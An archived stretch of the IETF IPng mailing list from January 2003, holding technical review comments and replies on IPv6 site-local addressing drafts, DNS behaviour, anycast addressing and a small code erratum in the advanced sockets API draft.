>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>--------------------------------------------------------------------


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 13:04:35 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0ML4Z16024994;
	Wed, 22 Jan 2003 13:04:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0ML4ZkL024993;
	Wed, 22 Jan 2003 13:04:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0ML4V16024986
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:04:31 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0ML4d4w017276
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:04:40 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA25090
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:04:33 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0ML4W302780
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 23:04:32 +0200
Date: Wed, 22 Jan 2003 23:04:31 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: ipng@sunroof.eng.sun.com
Subject: comments on draft-wasserman-ipv6-sl-impact-01
Message-ID: <Pine.LNX.4.44.0301222243440.2671-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hello,

A few comments on this draft; apologies about a very quick read only.

In general I agree with most conclusions in the draft.  I don't like site 
locals at all, because they're used wrongly.  However, I can understand 
why people want to use them .. the perceived ease for itself (but making 
it more difficult for _others_).

Substantial comments:

         Site-Border Node       An IPv6 node with interfaces in more
                                 than one site

==> I note that the definion is different from e.g. what Bob Hinden uses 
in his drafts; otherwise put, would sl-impact be significantly changed if 
there was a subclass of SBN's: those interfacing one site and "no-site".

    Some of the complexities of IPv4 NAT are avoided by the fact that
    IPv6 SBRs do not translate site-local addresses into global
    addresses.  Instead, traffic to and from site-local addresses is
    dropped at site boundaries, with an appropriate ICMP error message.

and:

    SBRs must ensure that site-local traffic is not forwarded outside
    of the site. This requires complex processing in the forwarding
    engine of an SBR.

    This is another situation where some have argued that the
    complexity is already required for link-local addresses, but again 
    that is not completely true.  All IPv6 routers will need to check  
    all forwarded packets to determine if either the source or 
    destination is link-local.  If so, the packet will be discarded and
    an ICMP "scope exceeded" error message will be generated.

==> perhaps this ICMP message is a by-product of scoped address 
architecture, but sure isn't defined in addrarch or ICMPv3 documents.

    Some people have commented that the same problems exist for link-
    local addresses, but this is not entirely true.  Link-local   
    addresses can use an existing identifier, the interface ID, as
    their qualifier, while site-local addresses require the
    configuration of an artificial zone ID.  Also, it is not expected
    that link-local addresses will be put in the DNS, or passed around
    by applications running on multi-link networks.

==> the middle sentence is not accurate.  It is typical that many 
interfaces have the same link-local interface ID (e.g. tunnel interfaces).

    So, to maximize the chance that connections will survive and that
    packets will continue to reach their intended destinations when a
    MIPv6 node roams, MIPv6 nodes should not configure site-local
    addresses and should not use site-local destination addresses,   
    perhaps even when global addresses are unavailable.  This would 
    require that MIPv6 nodes ignore site-local prefixes in IPv6 router
    advertisements, and that a different set of default address
    selection rules be used on MIPv6-capable nodes than is currently
    defined for other IPv6 nodes.

==> my belief is that in mobile-IP case, it should be enough that MIPv6 
nodes ignore all site-local addresses that are not guaranteed to come from 
the Home Agent or while at home.  Whether there would be problems with 
this is another issue.

 7.5 Transport Protocol Issues

    Some transport protocols, such as SCTP and SIP, involve passing the

==> strictly speaking, is SIP a transport protocol?  I thought it uses UDP 
throughout.

8.2.1   Benefits for Newly-Connected Sites

    When an isolated site gains connectivity to the IPv6 Internet, it
    could be useful for nodes to maintain their site-local addresses,
    in addition to their new global addresses.  This would allow long-
    lived connections to remain active, and would prevent cached,
    logged or stored IP address information from becoming invalid.

==> IMO, this is relatively questionable benefit.  Obtaining Internet 
connectivity is a one-time event.  Typically this could be considered as a 
"flag day" (or flag hour/minute).  Whether long-lived site-local 
connections survive this even is IMO completely irrelevant.

    IPv6 site-local addressing adds significant complexity and cost to
    IPv6, and it does not provide sufficient benefit to justify that
    cost.  Every benefit of site-local addressing can be better
    provided by simpler, less problematic, and less expensive
    mechanisms.

==> [referring to GUPI-like solutions in above].  I wouldn't go so far as 
to say other mechanisms are necessarily "less expensive".  It's more of a 
question on who pays the cost.  App developers, Internet architects, 
people trying to figure out how to make routing GUPI work, ISP's operating 
routers, etc.etc.

In a perfect world, GUPI would be a nice solution.  But alas, we're far 
from the perfect world, and making globally routable GUPI's work could be 
more work that we could ever imagine, using current architectural 
principles.

Editorial:

==> the numbering of chapters usually starts with introduction.

    SBRs do not modify addresses in forwarded IP headers, so the use of
    IPv6 site-local addresses does not conflict with end-to-end
    security or peer-to-peer communication.

==> s/does/do/

   provide split DNS service for customersÆ site-local addresses.
 
==> fix weird character

 This practice has not been
    documented, however, and there may be flaws in this approach,
    particularly in the presence of Mobile IP, as described in section
    7.4

==> s/7.4/7.4./



-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 13:13:20 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MLDJ16025074;
	Wed, 22 Jan 2003 13:13:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MLDJVp025073;
	Wed, 22 Jan 2003 13:13:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MLDF16025066
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:13:15 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0MLDNgE024752
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:13:23 -0800 (PST)
Received: from klutz.cs.utk.edu (klutz.cs.utk.edu [160.36.56.50])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA07496
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 14:13:06 -0700 (MST)
Received: from localhost (localhost [127.0.0.1])
	by smtp.cs.utk.edu (Postfix) with ESMTP
	id DECC61412D; Wed, 22 Jan 2003 16:12:46 -0500 (EST)
Received: from klutz.cs.utk.edu ([127.0.0.1]) by localhost (klutz [127.0.0.1]) (amavisd-new) with ESMTP id 11438-05; Wed, 22 Jan 2003 16:12:46 -0000 (EST)
Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43])
	by smtp.cs.utk.edu (Postfix) with SMTP
	id 4E9A514003; Wed, 22 Jan 2003 16:12:46 -0500 (EST)
Date: Wed, 22 Jan 2003 16:12:46 -0500
From: Keith Moore <moore@cs.utk.edu>
To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Cc: moore@cs.utk.edu, ipng@sunroof.eng.sun.com
Subject: Re: GUPI/GUSLs and DNS
Message-Id: <20030122161246.544e8e27.moore@cs.utk.edu>
In-Reply-To: <Roam.SIMC.2.0.6.1043212147.16376.nordmark@bebop.france>
References: <Roam.SIMC.2.0.6.1043212147.16376.nordmark@bebop.france>
X-Mailer: Sylpheed version 0.8.5claws (GTK+ 1.2.10; )
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Virus-Scanned: by amavisd-new amavisd-new-20020630 with ClamAV
X-Razor-id: c63da7ceaca3f00e7fa6b88dfeb9e7d479fbd339
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> One thing I haven't seen discussed in the GUPI/GUSL threads is
> how folks envision they and DNS to fit together for the AAAA lookups
> especially when GUPI is used for private interconnects between sites
> (whether it is site-to-site or goes through some ISPs through private 
> arrangements).

I do not believe it is either necessary or appropriate to have DNS
provide only addresses that are reachable by the party making the query.

Nor should DNS be used as a mechanism for trying to communicate policy.
It is not reasonable to assume that the party making the query is the
one that will be using the results of that query.  Nor is DNS capable of
keeping track of who can talk to whom.  And for that matter,
applications expect consistent behavior from DNS.

The results of DNS queries should be consistent everywhere.  If DNS
returns addresses for a service that are not reachable, then the client
will find that out when it is unable to reach that service (hopefully
via an ICMP "prohibited" response rather than via a timeout).

Keith
-- 
I tried enlightenment but it kept crashing.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 13:13:31 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MLDU16025084;
	Wed, 22 Jan 2003 13:13:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MLDU9Q025083;
	Wed, 22 Jan 2003 13:13:30 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MLDP16025076
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:13:25 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0MLDXgE024794
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:13:33 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA01539
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:13:27 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0MLDQv02876
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 23:13:26 +0200
Date: Wed, 22 Jan 2003 23:13:26 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: ipng@sunroof.eng.sun.com
Subject: comments on draft-hinden-ipv6-sl-moderate-00
Message-ID: <Pine.LNX.4.44.0301222304370.2671-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hello,

A few quick comments on the draft.  Sorry for so little content.

As a general note I'm a bit unsure which particular usage cases different 
site-local approaches aim to solve.

Substantial:

   The moderate use scenario limits their use to cases where site-local
   addresses specifically configured by an administrator.  Site-local
   addresses will not be used if the source and destination hosts could
   have used global addresses instead.

==> of course, this brings up the issue with intermittent Internet 
connectivity and connections (possibly) breaking (depending on how those 
addresses get revoked, I guess).

4.3.2 Firewalls

   Firewalls are commonly used in IPv4 to create site boundaries and are
   sometimes used to limit the scope of IPv4 addresses.  This includes
   filtering packets with private IPv4 source or destination addresses.

   If IPv6 firewalls are used to connect the site to other sites
   (including ISPs), then the firewall must install filters to drop
   packets with site-local source and/or destination addresses to keep
   them from entering or exiting the site.

==> this req seems be identical to router requirements.

Editorial:

   The moderate use scenario limits their use to cases where site-local
   addresses specifically configured by an administrator. 

==> s/addresses/addresses are/

   specific geographic location.  In routing protocol terms this is
   where there is an IGP/EGP boundary or between areas in an IGP like
   OSPF.

==> s/this is/this is typically/

   In order for hosts to autoconfigure site-local addresses router's

==> s/'//

        local prefixes are being advertised on a subnet, this will
        require a switch in the devices to only autoconfigure configure
        site-local addresses.  See section 4.1 for details.

==> s/ configure//

   Site boarder routers must not forward any packets with site-local

==> s/boarder/border/

   Site-local addresses should be routed inside the site just like any
   other unicast addresses.  They can be carried in any IPV6 routing
   protocol with out any change.  It is expected that an instance of an
   IGP routing protocols will be run inside of a single site.

==> s/with out/without/
==> s/IPV6/IPv6/

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 13:20:41 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MLKf16025277;
	Wed, 22 Jan 2003 13:20:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MLKfw6025276;
	Wed, 22 Jan 2003 13:20:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MLKc16025269
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:20:38 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0MLKkgE027159
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:20:46 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA07413
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:20:39 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0MLKcZ02928
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 23:20:38 +0200
Date: Wed, 22 Jan 2003 23:20:38 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: ipng@sunroof.eng.sun.com
Subject: comments on draft-hinden-ipv6-global-site-local-00
Message-ID: <Pine.LNX.4.44.0301222313270.2671-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hello,

A few quick comments on the draft.  Sorry for lack of content.

Substantial:

   This document proposes an approach to allocating IPv6 Site-Local
   address so they are globally unique and routable only inside of a
   site.

==> it would be good to go a bit more in depth to how this is actually a 
problem.  For some it surely isn't; if they don't need to prepare for 
site-mergers, for example.

5.0 Disadvantages

      - No default aggregation of site-local prefixes inside of the
        site.
      - If areas are used and the site is merged with another site, the
        areas that are duplicated will have to be advertised as /64
        prefixes (with the loss of aggregation) and later renumbered.

==> 48-2 bits seems a bit unreadable, that is: if you see an EUI48 
address, it probably isn't apparent that it corresponds to the 46 bit site 
identifier.  So, it would probably make sense to have them be the same.

==> another disadvantage is that the sites should really be /48's to make 
mergers with Internet global prefixes & addressing easier.

Editorial:

2.0 Acknowledgments

==> s/dg/dge/
==> this section should be around security considerations section, below

   aggregation).  Each /64 prefix in the area would occupy an entry in a
   routers forwarding table.

==> s/router/router'/

   Site boarder routers MUST NOT forward any packets with site-local
   source or destination addresses outside of the site.

==> s/boarder/border/

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 14:26:47 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MMQl16025925;
	Wed, 22 Jan 2003 14:26:47 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MMQl0g025924;
	Wed, 22 Jan 2003 14:26:47 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from jurassic.eng.sun.com (jurassic [129.146.17.55])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MMQh16025917
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 14:26:44 -0800 (PST)
Received: from laphroig (laphroig.Eng.Sun.COM [129.146.85.171])
	by jurassic.eng.sun.com (8.12.7+Sun/8.12.7) with SMTP id h0MMQpcR237382;
	Wed, 22 Jan 2003 14:26:51 -0800 (PST)
Date: Wed, 22 Jan 2003 14:26:50 -0800
From: Michael Hunter <michael.hunter@eng.sun.com>
To: jinmei@isl.rdc.toshiba.co.jp
Cc: ipng@sunroof.eng.sun.com
Subject: slight error in draft-ietf-ipngwg-rfc2292bis-08.txt
Message-Id: <20030122142650.095f0b59.michael.hunter@eng.sun.com>
X-Mailer: Sylpheed version 0.7.6 (GTK+ 1.2.10; sparc-sun-solaris2.10)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Section 11.2 of draft-ietf-ipngwg-rfc2292bis-08.txt contains a slight
error:


       int on = 1;
       setsockopt(fd, IPPROTO_IPV6, IPV6_DONTFRAG, &on, sizeof(&on));

s/sizeof(&on)/sizeof(on)/

				mph
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 16:22:46 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N0Mj16027073;
	Wed, 22 Jan 2003 16:22:46 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N0MjDv027072;
	Wed, 22 Jan 2003 16:22:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N0Mf16027065
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 16:22:41 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0N0Mn4w027196
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 16:22:49 -0800 (PST)
Received: from motgate4.mot.com (motgate4.mot.com [144.189.100.102])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA10015
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:22:43 -0700 (MST)
Received: from mothost.mot.com (mothost.mot.com [129.188.137.101])
	by motgate4.mot.com (Motorola/Motgate4) with ESMTP id h0N0MgVH009208
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:22:42 -0700 (MST)
Received: [from homer.arc.corp.mot.com (homer.arc.corp.mot.com [10.238.80.38]) by mothost.mot.com (MOT-pobox 2.0) with ESMTP id RAA02945 for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:22:40 -0700 (MST)]
Received: from motorola.com (awhite.arc.corp.mot.com [10.238.80.239])
	by homer.arc.corp.mot.com (8.12.2/8.12.2) with ESMTP id h0N0MbEE015633
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 11:22:38 +1100 (EST)
Message-ID: <3E2F35CC.C26AA50@motorola.com>
Date: Thu, 23 Jan 2003 11:22:36 +1100
From: Andrew White <Andrew.E.White@motorola.com>
Reply-To: awhite@arc.corp.mot.com
Organization: Motorola Australia Research Centre
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ipng@sunroof.eng.sun.com
Subject: Re: comments on draft-hinden-ipv6-global-site-local-00
References: <Pine.LNX.4.44.0301222313270.2671-100000@netcore.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Pekka Savola wrote:

> ==> another disadvantage is that the sites should really be /48's to make
> mergers with Internet global prefixes & addressing easier.

Pekka,

In both Bob Hinden's draft and my (quite similar) version we are allocating
addresses to *subnets*, not *sites*.  And subnets receive /64's.

The intent of the common idea in both proposals is to allocate a globally
unique identifier to every subnet without regard to any higher level
organisation.  The only event that will change the subnet prefix is changing
the router.

The core disadvantages are:

- Lack of aggregability (shouldn't be a problem until we start talking
thousands or tens of thousands of links, which is a VERY big 'site').

- Doesn't allow for easily crafted 'well known' addresses (at which point
you allocate these conventionally).

- Changing router may imply fixing DNS mappings to cope with host address
changes.

The core advantage is that you can assign a unique prefix to every subnet
without needing to know about anything other than the router interface that
manages the subnet.  In some environments this is a significant advantage.

-- 
Andrew White                Andrew.E.White@motorola.com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 16:25:59 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N0Px16027132;
	Wed, 22 Jan 2003 16:25:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N0PxZq027131;
	Wed, 22 Jan 2003 16:25:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N0Pt16027124
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 16:25:55 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0N0Q3gE005327
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 16:26:03 -0800 (PST)
Received: from tndh.net (evrtwa1-ar8-4-65-019-240.evrtwa1.dsl-verizon.net [4.65.19.240])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA00927
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 16:25:58 -0800 (PST)
Received: from eagleswings (127.0.0.1)
	by library with [XMail 1.10 (Win32/Ix86) ESMTP Server]
	id <S1D781> for <ipng@sunroof.eng.sun.com> from <alh-ietf@tndh.net>;
	Wed, 22 Jan 2003 16:25:53 -0800
Reply-To: <alh-ietf@tndh.net>
From: "Tony Hain" <alh-ietf@tndh.net>
To: "'Margaret Wasserman'" <mrw@windriver.com>,
   "'Digambar Rasal'" <digambar@controlnet.co.in>
Cc: <ipng@sunroof.eng.sun.com>
Subject: RE: please reply I am posting 3rd time : Web Server addresses  : Unicast , Multicast , Anycast
Date: Wed, 22 Jan 2003 16:25:58 -0800
Message-ID: <028e01c2c276$0087e270$441f4104@eagleswings>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
In-Reply-To: <5.1.0.14.2.20030122151601.02dfce68@mail.windriver.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0N0Pu16027125
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret Wasserman wrote:
> Oops...
> 
> I made a mistake in the response.  An anycast address can 
> only be assigned to a router (an IPv6 node that forwards 
> packets), not to a host.
> 
> So, most Web Servers could not be assigned an anycast address.
> 

Yes that is what the spec says, but reality is always somewhat
different. There is no technical reason that an anycast address could
not be assigned to any group of hosts. The issue that must be dealt with
is the scope of the routing knowledge about that group. If the knowledge
is kept local to a private network, there is no problem. If the
knowledge must be distributed globally for the service to work, there is
a big problem. In between there are various trade-off's. The bottom line
is that an anycast address is just a host route injected at multiple
places. The global routing system can't deal with a massive number of
host routes, while a local network is better positioned to manage the
number of them within its own level of pain. If a regional service
provider wanted to advertise anycast addresses for web services to its
customers, it is free to do so. Where the spec tries to draw the line is
that there should be no expectation that those addresses will work
outside of a group of consenting networks.

Tony

> Sorry,
> Margaret
> 
> 
> At 08:28 AM 1/22/2003 -0500, Margaret Wasserman wrote:
> 
> >Hi Digamar,
> >
> >Sorry for not replying earlier.
> >
> >>I have read the RFC reagrding the addressing in IPv6 and I 
> understood 
> >>that Web servers , routers , load balancers, Gateways and 
> Switches can 
> >>have either Unicast  or Multicast or Anycast address.
> >
> >Any IPv6 node can have any of these types of addresses.  All 
> nodes will 
> >have at least one unicast address (since every interface must have a 
> >link-local unicast address).  Other addresses are optional, and will 
> >depend on the configuration of the network and the individual node. 
> >However, most nodes on the global Internet will have one or 
> more global 
> >unicast addresses.
> >
> >There is no either/or relationship between unicast, multicast and 
> >anycast addresses.  A node may have all three, if it is 
> configured that 
> >way.
> >
> >Margaret
> >
> >
> >
> >
> >--------------------------------------------------------------------
> >IETF IPng Working Group Mailing List
> >IPng Home Page:                      http://playground.sun.com/ipng
> >FTP archive:                      ftp://playground.sun.com/pub/ipng
> >Direct all administrative requests to majordomo@sunroof.eng.sun.com
> >--------------------------------------------------------------------
> 
> 
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
> 


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 17:08:25 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N18P16027442;
	Wed, 22 Jan 2003 17:08:25 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N18P3E027441;
	Wed, 22 Jan 2003 17:08:25 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N18L16027434
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:08:22 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0N18T4w011604
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:08:29 -0800 (PST)
